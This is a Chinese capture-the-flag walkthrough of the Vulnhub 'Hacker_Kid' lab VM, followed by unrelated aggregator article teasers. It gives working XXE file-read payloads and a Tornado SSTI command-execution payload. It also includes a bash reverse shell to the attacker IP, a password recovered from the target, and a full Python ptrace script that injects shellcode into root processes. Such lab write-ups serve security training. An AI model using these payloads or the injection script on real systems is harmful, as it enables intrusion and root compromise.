Vulnhub靶机:Hacker_Kid

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:Hacker_Kid(10.0.2.42)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

二、信息收集

使用nmap主机发现靶机ip:10.0.2.42

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:53、80、9999

在这里插入图片描述

80端口:打开网站没有发现什么有用的功能点,

在这里插入图片描述

9999端口:打开网站发现是一个登录界面

在这里插入图片描述

查看源码发现提示信息,需要使用page_no查看页面

TO DO: Use a GET parameter page_no to view pages.

在这里插入图片描述

尝试提交一个 GET 参数 page_no=1浏览页面,发现页面有变化,提示要挖的更深一点,可能是参数不对

在这里插入图片描述

我们使用burpsuite爆破参数,发现21参数

在这里插入图片描述

访问page_no=21,发现提示,需要使用子域名访问

在这里插入图片描述

好吧,你想让我说点什么?
我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,以便随时返回服务器!
在我的许多家中…一个这样的家…对我来说,一个这样的家:hackers.blackhat.local

将下面两条数据添加进/etc.hosts文件里面

10.0.2.15        hackers.blackhat.local
10.0.2.15        blackhat.local

联想到靶机开放了53端口,我们可以使用dig来执行DNS搜索

dig hackers.blackhat.local @10.0.2.42

在这里插入图片描述

发现一个子域名,将该子域名添加入/etc.hosts文件里面,浏览器访问该子域名,发现是一个注册页面

10.0.2.15        hackerkid.blackhat.local

在这里插入图片描述

但直接注册注册不了

在这里插入图片描述

三、漏洞利用

使用burpsuite抓包看看,发现post 的数据包含 XML 格式,可以尝试探测是否存在XXE漏洞

在这里插入图片描述

因为,响应包返回的信息中,有email的值。

那么我么尝试构造payload来构造外部实体email处的注入,利用协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>

在这里插入图片描述

读取成功存在XXE漏洞,筛选出两个用户具有 /bin/bash

root:x:0:0:root:/root:/bin/bash
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash

我们可以尝试读取saket用户的home目录里面的文件

/home/saket/.bash_history
/home/saket/.bash_logout
/home/saket/.bashrc

注意直接读取文件内容是读取不出来的,需要使用base64加密后输出

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>

在这里插入图片描述

解密得到一个用户名密码

在这里插入图片描述

使用该用户名密码直接登录登录不了,想到该文件是放在saket用户的home目录下,可以将用户名改成saket试试

#Setting Password for running python app
username=“admin”
password=“Saket!#$%@!!”

saket:Saket!#$%@!!

登录成功

在这里插入图片描述

提示告诉他名字,尝试构造参数name,发现存在回显

在这里插入图片描述

根据nmap的扫描结果9999端口是tornado框架搭建的,tornado是一个用Python语言写成的Web服务器兼Web应用框架,可以尝试探测ssti注入漏洞,输入{{6*6}},回显36,存在ssti注入漏洞

在这里插入图片描述

尝试构造payload,需要寻找可以利用globals的函数,使用burpsuite爆破

在这里插入图片描述

使用eval函数执行命令

http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

在这里插入图片描述

反弹shell,注意payload需要使用url编码

http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('''__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"')''')}}

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看靶机是否存在特权命令或可利用的具有root权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1文件,该版本的polkit具有提权漏洞,但靶机没有gcc环境。

sudo -l
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

我们使用其他方法提权,我们可以查看saket用户目录下的.bash_history文件,该文件保存了用户的历史命令,发现靶机本地 5600端口开放这一个服务

在这里插入图片描述

查看本地端口占用信息,未看到有 5600 端口

在这里插入图片描述

我们可以使用下面的这条命令查找具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述

发现/usr/bin/python2.7 = cap_sys_ptrace+ep

可以利用python具备的cap_sys_ptrace+ep 能力对root权限的进程注入python类型shellcode,以此实现权限提升。

提权脚本:

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

将脚本文件上传到靶机

本地:service apache2 start     
靶机:wget http://10.0.2.15/inject.py

因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

在这里插入图片描述

脚本执行完毕,可以查看本地是否开启了 5600 端口

netstat -tunpla |grep 5600

在这里插入图片描述

直接使用nc连接,获取root权限

nc 127.0.0.1 5600

在这里插入图片描述

未发现flag

参考链接:vulnhub靶场——Hacker-Kid-v1-0-1_hacker_kid-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/409394.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python和Jupyter简介

在本notebook中&#xff0c;你将&#xff1a; 1、学习如何使用一个Jupyter notebook 2、快速学习Python语法和科学库 3、学习一些IPython特性&#xff0c;我们将在之后教程中使用。 这是什么&#xff1f; 这是只为你运行在一个个人"容器"中的一个Jupyter noteboo…

蓝桥杯备战刷题(自用)

1.被污染的支票 #include <iostream> #include <vector> #include <map> #include <algorithm> using namespace std; int main() {int n;cin>>n;vector<int>L;map<int,int>mp;bool ok0;int num;for(int i1;i<n;i){cin>>nu…

【前端素材】推荐优质后台管理系统Start Admin平台模板(附源码)

一、需求分析 后台管理系统是一种用于管理网站、应用程序或系统的工具&#xff0c;它通常作为一个独立的后台界面存在&#xff0c;供管理员或特定用户使用。下面详细分析后台管理系统的定义和功能&#xff1a; 1. 定义 后台管理系统是一个用于管理和控制网站、应用程序或系统…

Github开源贡献者的狂欢——教你如何免费领取价值$200的Starknet空投

前言&#xff1a; 2024 又迎来了四年一度的 BTC 减半时刻&#xff0c;币圈仿佛一下又热闹了起来&#xff0c;这几天有一个新的基于 ETH 的项目诞生了&#xff1a;StarkNet&#xff0c;代号 STRK&#xff0c;凡是在前 5000 个开源项目贡献过至少 3 个 commit 的程序猿都会被空投…

C#,数组数据波形排序(Sort in Wave Form)的朴素算法与源代码

1 波形排序 所谓“波形排序”就是一大一小。 将n个身高互不相同的人排成一行 ,对于每个人 ,要求他要么比相邻的人均高 ,要么比相邻的人均矮 ,问共有多少种排法 ,这一问题称为波形排列问题。 2 源程序 using System; using System.Collections; using System.Collections.Gen…

Makefile静态库动态库的构建和链接之工程实用篇

静态库和动态库的构建和链接 现有C工程目录结构如下&#xff1a; add.h int add(int a, int b);add.cpp #include "add.h"int add(int a, int b) {return ab; }main.cpp #include <iostream> #include "add.h"int main() {std::cout << a…

Spring Boot 项目集成camunda流程引擎

使用camunda开源工作流引擎有&#xff1a;通过docker运行、使用springboot集成、部署camunda发行包、基于源代码编译运行等多种方式。 其中&#xff0c;通过源代码编译运行的方式最为复杂&#xff0c;具体参考&#xff1a;https://lowcode.blog.csdn.net/article/details/1362…

个人博客系列-前端部署-创建框架(4)

项目环境介绍 Vue3 Vite TypeScript 服务器&#xff1a;阿里云contos node版本&#xff1a;v18.18.2 npm版本&#xff1a;v10.2.4 执行下面一行命令&#xff0c;创建vue3框架 npm create vuelatest修改端口&#xff1a;9528&#xff0c; 此步骤可以忽略&#xff08;使用默…

云呐矿井智能化运维工是什么?智能机器人运维岗位

煤矿智能运维是指利用先进的信息技术和自动控制&#xff0c;在煤矿生产过程中对煤矿设备进行监测、维护和管理。其职责和工作任务主要包括: 工作环境:  面对复杂的地质条件和极端的气候环境&#xff0c;煤矿智能运维工程师往往需要在地下煤矿、监测中心等环境中工作。因此&a…

MCU多核异构通信原理

摘要&#xff1a; 本文结合瑞萨RZ/G2L 多核处理器&#xff0c;给大家讲述一下多核异构设计及通信的原理。 随着电子技术的不断发展&#xff0c;以及市场需求的日益增长&#xff0c;嵌入式系统不仅要求执行复杂的控制任务&#xff0c;还需要实时地采集和处理数据。 为了满足这…

游戏配置内存“瘦身”策略

背景 游戏配置数据绝对是游戏服务器进程的内存大头,有些游戏服务器单纯数据配置的容量就超过一个G。因此,这部分内存优化也就放在首要位置了。 优化策略 在《服务器进程如何降低内存》一文中,我们讲述了可以通过“优化游戏配置缓存”来降低游戏服务器进程的内存使用量。本…

基于协同过滤算法的体育商品推荐系统

摘要 本文深入探讨了基于协同过滤算法的体育商品推荐系统的构建方法及其在电子商务中的重要性。首先&#xff0c;介绍了协同过滤算法的基本原理&#xff0c;包括用户-商品矩阵、相似度度量和推荐生成。其次&#xff0c;探讨了协同过滤算法在体育商品推荐中的两种主要应用方式&a…

sql-labs第46关(order by盲注脚本)

一、环境 网上有自己找 二、解释 order by 注入我们看他的true和false来进行注入出来 二、实操 让我们用sort 看看源码 最终我们的id是放到order by后面了 如果我们直接用列去排序 ?sortusername/password username&#xff1a; password&#xff1a; 可以看到顺序是不…

IO进程线程:通信

1.定义互斥锁 #include<myhead.h>int num520;//临界资源//1.创建一个互斥锁变量 pthread_mutex_t mutex;//定义任务&#xff11;函数 void *task1(void *arg) {printf("11111111111111\n");//3.获取锁资源pthread_mutex_lock(&mutex);num1314;sleep(3);pr…

数据结构与算法:红黑树讲解

关于红黑树&#xff0c; 这篇讲的更详细易懂。 https://www.cnblogs.com/jakelin/p/14324966.html 一颗平衡的二叉搜索树的任意节点平均查找效率为树的高度h&#xff0c;即O(lgn)。 但是如果二叉搜索树的失去平衡&#xff08;元素全在一侧&#xff09;&#xff0c;搜索效率就…

牛客周赛 Round 33 解题报告 | 珂学家 | 思维场

前言 整体评价 感觉这场更偏思维&#xff0c;F题毫无思路&#xff0c;但是可以模拟骗点分, E题是dij最短路. A. 小红的单词整理 类型: 签到 w1,w2 input().split() print (w2) print (w1)B. 小红煮汤圆 思路: 模拟 可以从拆包的角度去构建模拟 注意拆一包&#xff0c;可以…

如何增加层次厚度?

Q 老师&#xff0c;我在做一个斧头武器&#xff0c;如何在平面上增加厚度和层次呢&#xff1f; A 选中这几个线&#xff0c;点连接就会出现中线&#xff0c;把中线稍作调整即可~

Springboot+vue的社区医疗综合服务平台(有报告)。Javaee项目,springboot vue前后端分离项目

演示视频&#xff1a; Springbootvue的社区医疗综合服务平台&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项目 项目介绍&#xff1a; 本文设计了一个基于Springbootvue的前后端分离的社区医疗综合服务平台&#xff0c;采用M&#xff08;m…

数据分析这么卷吗!AI几分钟做完我半天的工作,这让人怎么办!

随着AI技术的飞速发展&#xff0c;人工智能领域正在经历一场前所未有的革命。无论是ChatGPT还是谷歌的巴德&#xff0c;以及国内诸如文心一言、ChatGLM等产品的涌现&#xff0c;都在不断地证明着这一点。这些技术不仅在推动着各行业的发展&#xff0c;更在不断地改变着我们的生…

Redis如何修改key名称

点击上方蓝字关注我 近期出现过多次修改Redis中key名字的场景&#xff0c;本次简介一下如何修改Redis中key名称的方法。 1. 命令行方式修改在Redis中&#xff0c;可以使用rename命令来修改Key的名称。这个命令的基本语法如下&#xff1a; RENAME old_key new_key 在这里&#…
最新文章